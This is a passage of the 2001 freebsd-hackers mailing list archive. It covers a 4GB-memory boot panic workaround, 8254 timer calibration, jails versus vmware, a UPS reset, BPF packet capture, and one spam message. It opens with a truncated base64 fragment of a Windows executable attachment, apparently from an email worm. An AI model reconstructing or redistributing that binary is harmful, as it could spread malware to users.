DFEBANxQAQAAAAAAAAAAAAAAAAAZUQEA7FABAAAAAAAAAAAAAAAAACZRAQD0UAEAAAAAAAAAAAAA AAAAMVEBAPxQAQAAAAAAAAAAAAAAAAA8UQEABFEBAAAAAAAAAAAAAAAAAAAAAAAAAAAASFEBAFZR AQBmUQEAAAAAAHRRAQAAAAAAglEBAAAAAACIUQEAAAAAAA8AAIAAAAAAS0VSTkVMMzIuRExMAEFE VkFQSTMyLmRsbABNU1ZDUlQuZGxsAFVTRVIzMi5kbGwAV1NPQ0szMi5kbGwAAABMb2FkTGlicmFy eUEAAEdldFByb2NBZGRyZXNzAABFeGl0UHJvY2VzcwAAAFJlZ0Nsb3NlS2V5AAAAcmFuZAAAU2V0 VGltZXIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AEylVPhKoVL+u09O/s3Mxf7LxMD8SLVN4E69U/7PIND4sk9H8DAy3/zIJdD+ySHS/s083/6DgWps lQozMvC2Q7WlX7JPQ7myX029s7a1TLVai2+GinedaFVCjWWDbI9rb4ZEUoeVbpqPd0tau3FyaJmO SJSBjGOVb05YqGlQj2ibZf5jgWpslQozKqyVdmX+Y5RsEK6UbGz+g04fyDHDxiWubopz/m2RkRCu lo9qbZGREKibb23+cZOLZYR3sJaPam2RkRCom29t/nGTi2WEd7CWj2ptkZEQqJtvbfykcZNr3mWP ddksnrdv3JaKed5h3muBamUh/nd3d/jisZzqAODOdQD4tHAA/r1wAPxicAD+b3AA/g0AAADgcADw WHAA/kVwAPw2cAD+KXAA+BxwAPz2cAD+GQAAAAAAAP4BAAAAAAAAAAAAAAAAAAD8QgAAAAAAAAAA /l/9D/3yCg== --====_ABC1234567890DEF_==== To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Mon Nov 26 16:22:23 2001 Delivered-To: freebsd-hackers@freebsd.org Received: from mass.dis.org (mass.dis.org [216.240.45.41]) by hub.freebsd.org (Postfix) with ESMTP id EE29337B417 for ; Mon, 26 Nov 2001 16:22:17 -0800 (PST) Received: from mass.dis.org (localhost [127.0.0.1]) by mass.dis.org (8.11.6/8.11.3) with ESMTP id fAR0Pst05045; Mon, 26 Nov 2001 16:25:54 -0800 (PST) (envelope-from msmith@mass.dis.org) Message-Id: <200111270025.fAR0Pst05045@mass.dis.org> To: "Frost, Stephen C" Cc: "'freebsd-hackers@freebsd.org'" Subject: Re: Solution for "panic: swap_pager_swap_init: swap_zone == NULL"? In-Reply-To: Message from "Frost, Stephen C" of "Mon, 26 Nov 2001 13:39:51 PST." Date: Mon, 26 Nov 2001 16:25:54 -0800 From: Mike Smith Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG G'day. I'm sorry to say that 4.4 has a regression related to systems with 4GB of memory, mostly related to poor test coverage. You can work around this by reducing the amount of physical memory that the kernel will use by setting a loader tunable. At the 10-second countdown before the kernel starts, hit the spacebar and at the 'ok' prompt type set hw.physmem=3G boot Once the system is up and installed, edit /boot/loader.conf and add the line hw.physmem="3G" to avoid having to repeat the process every time you boot. This issue has been corrected in later 4.4-STABLE snapshots, and should not recur in future releases. I hope this helps; please don't hesitate to contact us should you have any more questions. Regards, Mike > I am brand new to the OS. I test NIC drivers for Intel products and we are > turning towards an emphasized support for FreeBSD. One of my test boxes > produces the following error on bootup: "panic: swap_pager_swap_init: > swap_zone == NULL" To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Mon Nov 26 17:34:28 2001 Delivered-To: freebsd-hackers@freebsd.org Received: from rover.village.org (rover.bsdimp.com [204.144.255.66]) by hub.freebsd.org (Postfix) with ESMTP id 3B22337B416 for ; Mon, 26 Nov 2001 17:34:25 -0800 (PST) Received: from harmony.village.org (harmony.village.org [10.0.0.6]) by rover.village.org (8.11.3/8.11.3) with ESMTP id fAR1YNa02574; Mon, 26 Nov 2001 18:34:24 -0700 (MST) (envelope-from imp@harmony.village.org) Received: from harmony.village.org (localhost [127.0.0.1]) by harmony.village.org (8.11.6/8.11.6) with ESMTP id fAR1YIM08540; Mon, 26 Nov 2001 18:34:23 -0700 (MST) (envelope-from imp@harmony.village.org) Message-Id: <200111270134.fAR1YIM08540@harmony.village.org> To: Zwane Mwaikambo Subject: Re: [PATCH] Relevance of 8254 calibration. Cc: freebsd-hackers@FreeBSD.ORG In-reply-to: Your message of "Sun, 25 Nov 2001 11:54:23 +0200." References: Date: Mon, 26 Nov 2001 18:34:18 -0700 From: Warner Losh Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG In message Zwane Mwaikambo writes: : I'd just like to know wether there are any i386 boxes which don't have a : timer_freq of 1193182Hz I know there might be slight variations but i : still have to come across a box that doesn't, which leads me to the : purpose of this email. Do we need to do the 8254 clock calibration? Yes. Almost *ALL* PCs in the field aren't exactly 11931282Hz. There's a lot of variance in this. PC have such crappy oscillators that calibration is required. The "slight" variation can be as large as +-300Hz, which is huge. :-(. But I'm a little biased here... Warner To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Mon Nov 26 18:28:18 2001 Delivered-To: freebsd-hackers@freebsd.org Received: from obsecurity.dyndns.org (adsl-64-165-226-105.dsl.lsan03.pacbell.net [64.165.226.105]) by hub.freebsd.org (Postfix) with ESMTP id 98FEB37B416; Mon, 26 Nov 2001 18:28:15 -0800 (PST) Received: by obsecurity.dyndns.org (Postfix, from userid 1000) id CD80566B27; Mon, 26 Nov 2001 18:28:14 -0800 (PST) Date: Mon, 26 Nov 2001 18:28:14 -0800 From: Kris Kennaway To: David O'Brien Cc: "Andrew R. Reiter" , Doug Barton , Dag-Erling Smorgrav , hackers@FreeBSD.org Subject: Re: Bugmeister discussion list Message-ID: <20011126182814.A21308@xor.obsecurity.org> References: <20011122192026.O44004-100000@c101658-a.stcla1.sfba.home.com> <20011126024058.B41312@dragon.nuxi.com> Mime-Version: 1.0 Content-Type: multipart/signed; micalg=pgp-md5; protocol="application/pgp-signature"; boundary="LQksG6bCIzRHxTLp" Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: <20011126024058.B41312@dragon.nuxi.com>; from obrien@FreeBSD.org on Mon, Nov 26, 2001 at 02:40:58AM -0800 Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG --LQksG6bCIzRHxTLp Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Content-Transfer-Encoding: quoted-printable On Mon, Nov 26, 2001 at 02:40:58AM -0800, David O'Brien wrote: > On Thu, Nov 22, 2001 at 11:19:25PM -0500, Andrew R. Reiter wrote: > >=20 > > I thought it was normal process for a new FreeBSD mailing list to be > > hosted on another site until it was deemed beneficial to have @FreeBSD.= org > > host it. =20 >=20 > Nope. History says 'yes' in several cases. Kris --LQksG6bCIzRHxTLp Content-Type: application/pgp-signature Content-Disposition: inline -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.6 (FreeBSD) Comment: For info see http://www.gnupg.org iD8DBQE8Avo9Wry0BWjoQKURAv9TAKDTlD8COf2rZRU8M0en7rIbfFb7IgCeIjm+ 1CTu8J2NoSJyIVnkKNhlDA8= =db9A -----END PGP SIGNATURE----- --LQksG6bCIzRHxTLp-- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Mon Nov 26 18:33:52 2001 Delivered-To: freebsd-hackers@freebsd.org Received: from obsecurity.dyndns.org (adsl-64-165-226-105.dsl.lsan03.pacbell.net [64.165.226.105]) by hub.freebsd.org (Postfix) with ESMTP id 44F6437B416 for ; Mon, 26 Nov 2001 18:33:49 -0800 (PST) Received: by obsecurity.dyndns.org (Postfix, from userid 1000) id 9C11F66B27; Mon, 26 Nov 2001 18:33:48 -0800 (PST) Date: Mon, 26 Nov 2001 18:33:48 -0800 From: Kris Kennaway To: Joesh Juphland Cc: hackers@freebsd.org Subject: Re: compare and contrast vmware and jail ? Message-ID: <20011126183348.B21308@xor.obsecurity.org> References: Mime-Version: 1.0 Content-Type: multipart/signed; micalg=pgp-md5; protocol="application/pgp-signature"; boundary="BwCQnh7xodEAoBMC" Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: ; from part_lion@hotmail.com on Mon, Nov 26, 2001 at 02:11:42PM -0700 Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG --BwCQnh7xodEAoBMC Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Content-Transfer-Encoding: quoted-printable On Mon, Nov 26, 2001 at 02:11:42PM -0700, Joesh Juphland wrote: >=20 > I am going to be setting up four freeBSD servers as a test environment -= =20 > they need to be totally isolated machines. However, I would like to see = if=20 > I can do all of this on one server. The choice that comes to mind=20 > immediately is vmware, but since I am required to use all freeBSD, I woul= d=20 > be using vmware via linux compatibility mode, which is somewhat slower th= an=20 > native vmware on linux. Is this just your guess, or a conclusion based on measurement? Linux compatibility mode does not entail any performance loss in the general case because it's basically an alternative interface to the FreeBSD kernel, not a virtual machine emulation layer running on top of it (if you can show slowdown in this particular case, please do). > I have two specific questions: >=20 > 1. Is jail ready for prime time ? that is, taking into account stability= ,=20 > performance, and _security_, would you feel comfortable running multiple= =20 > servers on a single machine where the relative contents of the machines w= ere=20 > sensitive (in terms of performance and security) ? >=20 > 2. Any comments on the differences between using vmware and jail ? Why= =20 > would I choose vmware over jail ? Does jail offer the same memory usage= =20 > guarantees, etc. ? >=20 > Any thoughts / comments on vmware vs. jail, and the viability of using= =20 > jail on a multi-system system are appreciated. I wouldn't have even considered using vmware..it sounds like a very heavyweight solution for something jail can probably do better (see the manpage for limitations). Kris --BwCQnh7xodEAoBMC Content-Type: application/pgp-signature Content-Disposition: inline -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.6 (FreeBSD) Comment: For info see http://www.gnupg.org iD8DBQE8AvuLWry0BWjoQKURAn4DAKCP1k82BUeSQLjS2ijXF62nlzUbMACdEcIl q56KyvreO7DMlErMgxY8op0= =6lzy -----END PGP SIGNATURE----- --BwCQnh7xodEAoBMC-- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Mon Nov 26 22:40:16 2001 Delivered-To: freebsd-hackers@freebsd.org Received: from rover.village.org (rover.bsdimp.com [204.144.255.66]) by hub.freebsd.org (Postfix) with ESMTP id 7070937B41B for ; Mon, 26 Nov 2001 22:40:12 -0800 (PST) Received: from harmony.village.org (harmony.village.org [10.0.0.6]) by rover.village.org (8.11.3/8.11.3) with ESMTP id fAR6eBa03642; Mon, 26 Nov 2001 23:40:11 -0700 (MST) (envelope-from imp@harmony.village.org) Received: from harmony.village.org (localhost [127.0.0.1]) by harmony.village.org (8.11.6/8.11.6) with ESMTP id fAR6eAM10789; Mon, 26 Nov 2001 23:40:10 -0700 (MST) (envelope-from imp@harmony.village.org) Message-Id: <200111270640.fAR6eAM10789@harmony.village.org> To: Zwane Mwaikambo Subject: Re: [PATCH] Relevance of 8254 calibration. Cc: freebsd-hackers@FreeBSD.ORG In-reply-to: Your message of "Tue, 27 Nov 2001 08:38:51 +0200." References: Date: Mon, 26 Nov 2001 23:40:10 -0700 From: Warner Losh Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG In message Zwane Mwaikambo writes: : hmm cross referencing here (forgive me ;) NetBSD nor Linux do this : calibration and NetBSD runs on just about anything ;) The higher levels of NetBSD does this if you are running ntpd. Ditto Linux. I measure phase differences in oscelators to sub-pico second level in my day job :-). Warner To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Mon Nov 26 22:50:47 2001 Delivered-To: freebsd-hackers@freebsd.org Received: from rover.village.org (rover.bsdimp.com [204.144.255.66]) by hub.freebsd.org (Postfix) with ESMTP id 9C79F37B416 for ; Mon, 26 Nov 2001 22:50:43 -0800 (PST) Received: from harmony.village.org (harmony.village.org [10.0.0.6]) by rover.village.org (8.11.3/8.11.3) with ESMTP id fAR6oga03666; Mon, 26 Nov 2001 23:50:42 -0700 (MST) (envelope-from imp@harmony.village.org) Received: from harmony.village.org (localhost [127.0.0.1]) by harmony.village.org (8.11.6/8.11.6) with ESMTP id fAR6ogM10847; Mon, 26 Nov 2001 23:50:42 -0700 (MST) (envelope-from imp@harmony.village.org) Message-Id: <200111270650.fAR6ogM10847@harmony.village.org> To: Zwane Mwaikambo Subject: Re: [PATCH] Relevance of 8254 calibration. Cc: freebsd-hackers@FreeBSD.ORG In-reply-to: Your message of "Tue, 27 Nov 2001 08:54:24 +0200." References: Date: Mon, 26 Nov 2001 23:50:41 -0700 From: Warner Losh Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG In message Zwane Mwaikambo writes: : PS the box runs fine with the patch right now (2 day uptime) I can't do : anything which would write to the RTC without it blocking for a long time, : but i only do project compiles on the box anyway. Well, I'll bet your system time has drifted about a second or four in those two days. Warner To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Mon Nov 26 23:10:45 2001 Delivered-To: freebsd-hackers@freebsd.org Received: from rover.village.org (rover.bsdimp.com [204.144.255.66]) by hub.freebsd.org (Postfix) with ESMTP id AAA5937B41B for ; Mon, 26 Nov 2001 23:10:41 -0800 (PST) Received: from harmony.village.org (harmony.village.org [10.0.0.6]) by rover.village.org (8.11.3/8.11.3) with ESMTP id fAR7Aea03721; Tue, 27 Nov 2001 00:10:40 -0700 (MST) (envelope-from imp@harmony.village.org) Received: from harmony.village.org (localhost [127.0.0.1]) by harmony.village.org (8.11.6/8.11.6) with ESMTP id fAR7AcM10976; Tue, 27 Nov 2001 00:10:39 -0700 (MST) (envelope-from imp@harmony.village.org) Message-Id: <200111270710.fAR7AcM10976@harmony.village.org> To: Zwane Mwaikambo Subject: Re: [PATCH] Relevance of 8254 calibration. Cc: freebsd-hackers@FreeBSD.ORG In-reply-to: Your message of "Tue, 27 Nov 2001 09:11:38 +0200." References: Date: Tue, 27 Nov 2001 00:10:38 -0700 From: Warner Losh Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG In message Zwane Mwaikambo writes: : When you say system time do you mean "hardware" time? or the running : kernel's time? Output of date command, which is kept by the kernel. : The hardware time doesn't work anyway since the box's RTC : is stuck somewhere in 2057 but the hardware timer interrupt seems to be : ticking at the right pace so i'm sure the kernel time does stay consistent : (with normal drift). I had problems regarding timestamps on files in Linux : (annoying because configure scripts would think the files have changed : whilst it was running and hence an endless loop) but i don't seem to have : the same problem in FreeBSD. Cool. Warner To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Mon Nov 26 23:16: 7 2001 Delivered-To: freebsd-hackers@freebsd.org Received: from destination.kclj.si (destination.kclj.si [193.2.253.10]) by hub.freebsd.org (Postfix) with ESMTP id 50BBD37B417 for ; Mon, 26 Nov 2001 23:16:03 -0800 (PST) Received: from origin.intranet.kclj.si (unknown [192.168.1.253]) by destination.kclj.si (Postfix) with ESMTP id 5BA1410B400; Tue, 27 Nov 2001 08:06:47 +0100 (MET) Received: from nknfz-84-pc (nknfz-84-pc.intranet.kclj.si [10.3.16.33]) by origin.intranet.kclj.si (8.8.8/8.8.8) with ESMTP id IAA04800; Tue, 27 Nov 2001 08:23:34 -0800 (PST) Message-Id: <200111271623.IAA04800@origin.intranet.kclj.si> From: "doc. dr. Marjan Mihelin, dipl. ing." To: if@sil.at, abial@webgiro.com, hackers@FreeBSD.ORG, jhs@jhs.muc.de Date: Tue, 27 Nov 2001 08:16:09 +0100 MIME-Version: 1.0 Content-type: text/plain; charset=US-ASCII Content-transfer-encoding: 7BIT Subject: Re: Fiskars UPS - solution! Reply-To: marjan.mihelin@kclj.si References: <200110251628.JAA02486@origin.intranet.kclj.si> In-reply-to: X-mailer: Pegasus Mail for Win32 (v3.12b) Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Hi > > > We are using from 1993 Fiskars UPS 0.8 A UPS unit (Type UPS 1008A- > > 10EU, PartNo: 10 02 891 Rev A1, SerNo: 119355 9345, Made in Finland) > > and few days ago the Battery failure control light started blinking. > > We replaced accus (5 pcs 12V 4Ah) and we charged them for 48 hours > > but the control light is still blinking. Do you have any advice what > > to do? Where it is possible to get the electrical plans of this > > unit? I would be grateful for any help. > > try to measure the battery voltage and the load current. > perhaps the batterys are low level decharged,,, (a 12v battery have > less than 10V). the try to load it a while with a battery loader > (perhaps a car-battery loader) and limit the current to 300ma. > > that should work.. > Finally, we found the proper solution. Only the proper reset was needed. Inside of the unit, close to the front panel there is an 8 position DIP switch. The uppermost switch should change the position and then the reset button on the front panel should be pressed. The unit reset is finalized by turning the unit off, then DIP switch should be pressed into the initial position and when you switch the unit on, everything is OK. Thank you for all advises and best regards Marjan ---------------------------------------- Assoc. Prof. Marjan Mihelin, Ph.D. !!! AGAIN NEW TELEPHONE NUMBERS University Medical Centre University Institute of Clinical Neurophysiology Ljubljana - SLOVENIA tel: +386-1-543-1515, fax: +386-1-543-1533 E-mail: marjan.mihelin@kclj.si, marjan@mihelin.com To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Tue Nov 27 1: 8:26 2001 Delivered-To: freebsd-hackers@freebsd.org Received: from netfinity.realnet.co.sz (swazi.realnet.co.sz [196.28.7.2]) by hub.freebsd.org (Postfix) with ESMTP id 25A2637B755 for ; Tue, 27 Nov 2001 01:08:17 -0800 (PST) Received: by netfinity.realnet.co.sz (Postfix, from userid 502) id B091EFA3B; Tue, 27 Nov 2001 09:11:38 +0200 (SAST) Received: from localhost (localhost [127.0.0.1]) by netfinity.realnet.co.sz (Postfix) with ESMTP id ABB6C652E2; Tue, 27 Nov 2001 09:11:38 +0200 (SAST) Date: Tue, 27 Nov 2001 09:11:38 +0200 (SAST) From: Zwane Mwaikambo X-X-Sender: To: Warner Losh Cc: Subject: Re: [PATCH] Relevance of 8254 calibration. In-Reply-To: <200111270650.fAR6ogM10847@harmony.village.org> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG On Mon, 26 Nov 2001, Warner Losh wrote: > Well, I'll bet your system time has drifted about a second or four in > those two days. When you say system time do you mean "hardware" time? or the running kernel's time? The hardware time doesn't work anyway since the box's RTC is stuck somewhere in 2057 but the hardware timer interrupt seems to be ticking at the right pace so i'm sure the kernel time does stay consistent (with normal drift). I had problems regarding timestamps on files in Linux (annoying because configure scripts would think the files have changed whilst it was running and hence an endless loop) but i don't seem to have the same problem in FreeBSD. Zwane To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Tue Nov 27 1: 8:25 2001 Delivered-To: freebsd-hackers@freebsd.org Received: from netfinity.realnet.co.sz (swazi.realnet.co.sz [196.28.7.2]) by hub.freebsd.org (Postfix) with ESMTP id 2395D37B6B9 for ; Tue, 27 Nov 2001 01:08:17 -0800 (PST) Received: by netfinity.realnet.co.sz (Postfix, from userid 502) id F249AFA44; Tue, 27 Nov 2001 08:54:24 +0200 (SAST) Received: from localhost (localhost [127.0.0.1]) by netfinity.realnet.co.sz (Postfix) with ESMTP id EDE78652E2; Tue, 27 Nov 2001 08:54:24 +0200 (SAST) Date: Tue, 27 Nov 2001 08:54:24 +0200 (SAST) From: Zwane Mwaikambo X-X-Sender: To: Warner Losh Cc: Subject: Re: [PATCH] Relevance of 8254 calibration. In-Reply-To: <200111270640.fAR6eAM10789@harmony.village.org> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG On Mon, 26 Nov 2001, Warner Losh wrote: > The higher levels of NetBSD does this if you are running ntpd. Ditto > Linux. Thanks for the pointer, i'm going to check out the NTP stuff in both OS' just now. > I measure phase differences in oscelators to sub-pico second level in > my day job :-). ahh that explains everything ;) Cheers, Zwane PS the box runs fine with the patch right now (2 day uptime) I can't do anything which would write to the RTC without it blocking for a long time, but i only do project compiles on the box anyway. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Tue Nov 27 1: 8:33 2001 Delivered-To: freebsd-hackers@freebsd.org Received: from netfinity.realnet.co.sz (swazi.realnet.co.sz [196.28.7.2]) by hub.freebsd.org (Postfix) with ESMTP id 28A8137B758 for ; Tue, 27 Nov 2001 01:08:17 -0800 (PST) Received: by netfinity.realnet.co.sz (Postfix, from userid 502) id 4256BFA41; Tue, 27 Nov 2001 08:38:51 +0200 (SAST) Received: from localhost (localhost [127.0.0.1]) by netfinity.realnet.co.sz (Postfix) with ESMTP id 3E470652E2; Tue, 27 Nov 2001 08:38:51 +0200 (SAST) Date: Tue, 27 Nov 2001 08:38:51 +0200 (SAST) From: Zwane Mwaikambo X-X-Sender: To: Warner Losh Cc: Subject: Re: [PATCH] Relevance of 8254 calibration. In-Reply-To: <200111270134.fAR1YIM08540@harmony.village.org> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG On Mon, 26 Nov 2001, Warner Losh wrote: > Yes. Almost *ALL* PCs in the field aren't exactly 11931282Hz. > There's a lot of variance in this. PC have such crappy oscillators > that calibration is required. The "slight" variation can be as large > as +-300Hz, which is huge. :-(. > > But I'm a little biased here... > > Warner > hmm cross referencing here (forgive me ;) NetBSD nor Linux do this calibration and NetBSD runs on just about anything ;) Cheers, Zwane To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Tue Nov 27 1:50:43 2001 Delivered-To: freebsd-hackers@freebsd.org Received: from argyre.fr.uu.net (mail.fr.uu.net [194.98.0.9]) by hub.freebsd.org (Postfix) with ESMTP id 65A0037C291 for ; Tue, 27 Nov 2001 01:48:22 -0800 (PST) Received: from [213.11.39.71] ([213.11.39.71]) by argyre.fr.uu.net (8.9.3/8.8.7) with SMTP id KAA00925 for ; Tue, 27 Nov 2001 10:54:57 +0100 (MET) From: annuaire@annuairefrancais.com Message-Id: <200111270954.KAA00925@argyre.fr.uu.net> Mime-Version: 1.0 Content-Type: text/plain;charset="us-ascii" Content-Transfer-Encoding: 7bit Date: Tue, 27 Nov 2001 10:47:15 +0100 To: freebsd-hackers@FreeBSD.org Subject: Info : L'Annuaire Francais par Departement facilite vos recherches Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Bonjour, L'annuaire Francais Par departement http://www.annuairefrancais.com integre desormais un moteur de recherche pour affiner vos recherches sur le web. L'inscription reste gratuite et la validation toujours manuelle. L'adresse d'inscription est desormais http://inscrip.annuairefrancais.com Pour toutes suggestions contactez par mail : direction : laurent@annuairefrancais.com validation : validation@annuairefrancais.com publicite : publicite@annuairefrancais.com partenariat : partenariat@annuairefrancais.com INFORMATIONS : retrait de notre liste d'info : http://supressinfo.annuairefrancais.com (L'annuaire francais envoi 2 infos par an) L'annuaire Francais 119 Rue des Pyrenees 75020 PARIS +33 (0)1 43 67 00 74 To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Tue Nov 27 2:54:16 2001 Delivered-To: freebsd-hackers@freebsd.org Received: from shared1-mail.whowhere.com (shared1-batch.whowhere.com [209.185.123.82]) by hub.freebsd.org (Postfix) with SMTP id C394737B41D for ; Tue, 27 Nov 2001 02:54:04 -0800 (PST) Received: from Unknown/Local ([?.?.?.?]) by shared1-mail.whowhere.com; Mon Nov 26 21:27:08 2001 To: freebsd-hackers@freebsd.org Date: Tue, 27 Nov 2001 10:57:08 +0530 From: "Rajesh P Jain" Message-ID: Mime-Version: 1.0 X-Sent-Mail: on Reply-To: rpjain_1977@eudoramail.com X-Mailer: MailCity Service Subject: Re: BPF - Packet Reception X-Sender-Ip: 203.197.138.199 Organization: QUALCOMM Eudora Web-Mail (http://www.eudoramail.com:80) Content-Type: text/plain; charset=us-ascii Content-Language: en Content-Transfer-Encoding: 7bit Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Thanks for all the replies. In linux, the packet reception can be done efficiently through the usage of ethernet sockets. In FreeBSD, one of the option is by using the BPF. But, as already commented, BPF is not a high performance device. So, Can anyone give an alternative way in FreeBSD (other than modifying the driver code), so that high packet-rate reception can be done by without dropping any of the packets ? Thanks in advance Raj -- On Mon, 26 Nov 2001 17:05:33 Robert Watson wrote: > >On Mon, 26 Nov 2001, Rajesh P Jain wrote: > >> We are trying to use BPF (Packet Filter) pseduo device to send >> and receive the packets. >> Even if there is a slight delay (Some processing has to be done >> on the read packet) between the issuing of 'read' call, so many packets >> are getting dropped. >> Is there a way to attach a callback function to the opened device, >> so that on a packet arrival, this function is being called. >> We polling the device is always risky thing as we may loose some >> packet. >> Any help on this would be very much appreciated. Thanks and >> regards, -Raj > >There are a number of things that can be done to improve BPF's behavior >under high volume, including setting a larger in-kernel buffer for BPF >(using BIOCSBLEN), as well as implementing the equivilent of interupt >coallescing when delivering packets to userland, through the use of a >timeout (BIOCSRTIMEOUT, BIOCIMMEDIATE), which can increase throughput. >While BPF is not able to handle extremely high packet rates, due to it >performing memory copies and simple virtual machine execution, I've quite >successfully used it to do userland packet forwarding (read, process, >send) in the 100mbps range on moderately equipped machines. Depending on >the nature of the packets you're capturing, optimizing your BPF code, or >feeding it code that matches more specifically, can also impact >performance. > >The performance of BPF is often directly associated with the amount of >userland context switching going on: for example, running my BPF-based >packet forwarding program at the same time as tcpdump would easily halve >the throughput by making the number of context switches proportional to >the number of packets delivered. A single process performing BPF >operations will perform *much* better on an unloaded machine. > >Robert N M Watson FreeBSD Core Team, TrustedBSD Project >robert@fledge.watson.org NAI Labs, Safeport Network Services > > > > Join 18 million Eudora users by signing up for a free Eudora Web-Mail account at http://www.eudoramail.com To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Tue Nov 27 3: 2:17 2001 Delivered-To: freebsd-hackers@freebsd.org Received: from mailhub.fokus.gmd.de (mailhub.fokus.gmd.de [193.174.154.14]) by hub.freebsd.org (Postfix) with ESMTP id CE05937B417 for ; Tue, 27 Nov 2001 03:02:12 -0800 (PST) Received: from beagle (beagle [193.175.132.100]) by mailhub.fokus.gmd.de (8.11.6/8.11.6) with ESMTP id fARB29r27185; Tue, 27 Nov 2001 12:02:09 +0100 (MET) Date: Tue, 27 Nov 2001 12:02:09 +0100 (CET) From: Harti Brandt To: Rajesh P Jain Cc: freebsd-hackers@FreeBSD.ORG Subject: Re: BPF - Packet Reception In-Reply-To: Message-ID: <20011127120009.A21837-100000@beagle.fokus.gmd.de> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG On Tue, 27 Nov 2001, Rajesh P Jain wrote: RPJ> Thanks for all the replies. RPJ> RPJ> In linux, the packet reception can be done efficiently through the usage of ethernet sockets. RPJ> RPJ> In FreeBSD, one of the option is by using the BPF. But, as already commented, BPF is not a high performance device. RPJ> RPJ> So, Can anyone give an alternative way in FreeBSD (other than modifying the driver code), so that high packet-rate reception can be done by without dropping any of the packets ? man 4 ng_ether perhaps harti -- harti brandt, http://www.fokus.gmd.de/research/cc/cats/employees/hartmut.brandt/private brandt@fokus.fhg.de To Unsubscribe: send mail to majordomo@FreeBSD.org with 